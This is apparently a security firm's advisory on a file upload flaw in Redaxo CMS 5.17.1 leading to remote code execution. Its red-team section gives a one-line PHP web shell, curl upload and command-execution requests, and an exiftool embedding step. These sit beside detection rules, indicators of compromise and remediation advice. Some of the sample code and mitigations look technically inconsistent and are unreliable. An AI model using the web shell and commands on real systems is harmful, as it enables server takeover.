CVE-2024-46210

Executive Summary

CVE-2024-46210 is a critical arbitrary file upload vulnerability discovered in the MediaPool module of Redaxo CMS version 5.17.1. This flaw allows an unauthenticated attacker to upload a crafted file (e.g., a PHP web shell) to the server, leading to remote code execution (RCE). The vulnerability stems from insufficient validation of file types and contents during the upload process. Given the CVSS score of 10.0 (Critical) and the public availability of proof-of-concept (PoC) code, this vulnerability poses an immediate and severe risk to all instances running the affected version. No official patch has been released at the time of this report.

Supply Chain & Package Security

Redaxo CMS is a PHP-based content management system distributed via its official website and GitHub repository. The vulnerability exists in the core MediaPool module, which is a standard component of the CMS. There are no known compromised packages or supply chain attacks associated with this CVE; however, the lack of a patch means that all installations are dependent on the vendor's release cycle for remediation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The maximum CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker can compromise the entire CMS without any authentication or user interaction.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the MediaPool module. The module fails to properly validate the MIME type, file extension, and file content during the upload process. Specifically, the code does not check for executable file types (e.g., .php, .phtml, .php5) or sanitize the file content to prevent the inclusion of malicious code.

Attack Flow:

1. An attacker accesses the MediaPool upload endpoint (typically /redaxo/index.php?page=mediapool/media).
2. The attacker uploads a file with a double extension (e.g., shell.php.jpg) or a file with a valid image MIME type but containing PHP code in the EXIF data or appended to the file.
3. The server stores the file in the media directory (e.g., /media/).
4. The attacker accesses the uploaded file directly via its URL (e.g., http://target.com/media/shell.php.jpg).
5. If the server is configured to execute PHP in files with certain extensions (e.g., .php, .phtml), the malicious code runs, granting the attacker remote code execution.

Root Cause: The rex_mediapool::addMedia() function or its underlying validation logic does not enforce a strict whitelist of allowed file extensions or perform content-based checks (e.g., checking for magic bytes). This allows attackers to bypass weak blacklist-based filters.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Redaxo v5.17.1 - redaxo/src/addons/mediapool/lib/mediapool.php):

// Simplified vulnerable upload logic
function addMedia($file) {
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'svg'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array(strtolower($ext), $allowed_extensions)) {
        move_uploaded_file($file['tmp_name'], 'media/' . $file['name']);
        return true;
    }
    return false;
}

Issue: The extension check is case-insensitive but does not prevent double extensions (e.g., shell.php.jpg). Additionally, no MIME type or content validation is performed.

Patched Code (Expected Fix):

function addMedia($file) {
    $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'svg'];
    $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'image/svg+xml'];
    
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $mime = mime_content_type($file['tmp_name']);
    
    // Check extension and MIME type
    if (in_array(strtolower($ext), $allowed_extensions) && in_array($mime, $allowed_mime_types)) {
        // Generate a random filename to prevent path traversal and double extensions
        $new_name = uniqid() . '.' . $ext;
        move_uploaded_file($file['tmp_name'], 'media/' . $new_name);
        return true;
    }
    return false;
}

Fix: The patched code validates both the file extension and the MIME type using mime_content_type(). It also generates a random filename to prevent attackers from controlling the final file name.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Redaxo CMS v5.17.1.
• Access to the MediaPool upload page (default: /redaxo/index.php?page=mediapool/media).

Exploit Steps:

1. Craft a malicious PHP file: Create a file named shell.php.jpg with the following content:

   <?php system($_GET['cmd']); ?>
   

2. Upload the file: Use a web browser or a tool like curl:

   curl -X POST -F "file=@shell.php.jpg" http://target.com/redaxo/index.php?page=mediapool/media
   

3. Execute commands: Access the uploaded file and pass a command:

   curl http://target.com/media/shell.php.jpg?cmd=id
   

   The server will return the output of the id command.

Alternative Payload (Image with embedded PHP):

• Use exiftool to embed PHP code in an image's EXIF data:

  exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
  

• Upload image.jpg and access it with ?cmd=id.

Blue Team (Defensive)

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block uploads with double extensions or files containing PHP code in non-image contexts.
• File Integrity Monitoring (FIM): Monitor the /media/ directory for new files with unexpected extensions or content.
• Server Configuration: Disable PHP execution in the /media/ directory by adding the following to an .htaccess file:

  <FilesMatch "\.(php|phtml|php3|php4|php5)$">
      Deny from all
  </FilesMatch>
  

• Input Validation: Implement strict whitelist-based validation on the server side (as shown in the patched code).

Lab Setup:

• Victim: Docker container running Redaxo v5.17.1 (e.g., redaxo/redaxo:5.17.1).
• Attacker: Kali Linux with curl and exiftool.
• Network: Both containers on the same bridge network.

Indicators of Compromise (IOCs)

• File Artifacts:
  • Files in /media/ with double extensions (e.g., shell.php.jpg, cmd.php.png).
  • Files with PHP code embedded in EXIF data or appended to image files.
• Network Traffic:
  • HTTP POST requests to /redaxo/index.php?page=mediapool/media with Content-Type: multipart/form-data.
  • HTTP GET requests to /media/*.php.* or /media/*.php with query parameters like cmd, exec, or system.
• Log Entries:
  • Web server access logs showing unusual file uploads and subsequent access to the uploaded files.
  • PHP error logs indicating attempts to execute non-PHP files.

Detection Engineering

YARA Rule

rule CVE_2024_46210_Redaxo_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2024-46210 in Redaxo CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46210"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = /\$_GET\s*\[\s*['"]cmd['"]\s*\]/
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: Redaxo CMS Arbitrary File Upload (CVE-2024-46210)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload PHP files to Redaxo CMS MediaPool
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/redaxo/index.php'
        cs-uri-query: 'page=mediapool/media'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate media uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46210 Redaxo CMS Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/redaxo/index.php"; http_uri; content:"page=mediapool/media"; http_uri; content:"multipart/form-data"; http_content_type; pcre:"/\.php(\.\w+)?$/U"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the MediaPool module if not essential, or restrict access to authenticated administrators only.
2. Apply a virtual patch using a WAF to block uploads with .php extensions or double extensions.
3. Manually harden the upload directory by disabling PHP execution (e.g., via .htaccess or Nginx configuration).

Long-Term Fix:

• Monitor the Redaxo CMS official repository for a security patch.
• Upgrade to a patched version once released.
• Implement the code fixes described in the "Vulnerable vs. Patched Code" section.

Workaround:

• Modify the redaxo/src/addons/mediapool/lib/mediapool.php file to include MIME type validation and random filename generation as shown in the patched code example.

Valters IT
Securing Digital Frontiers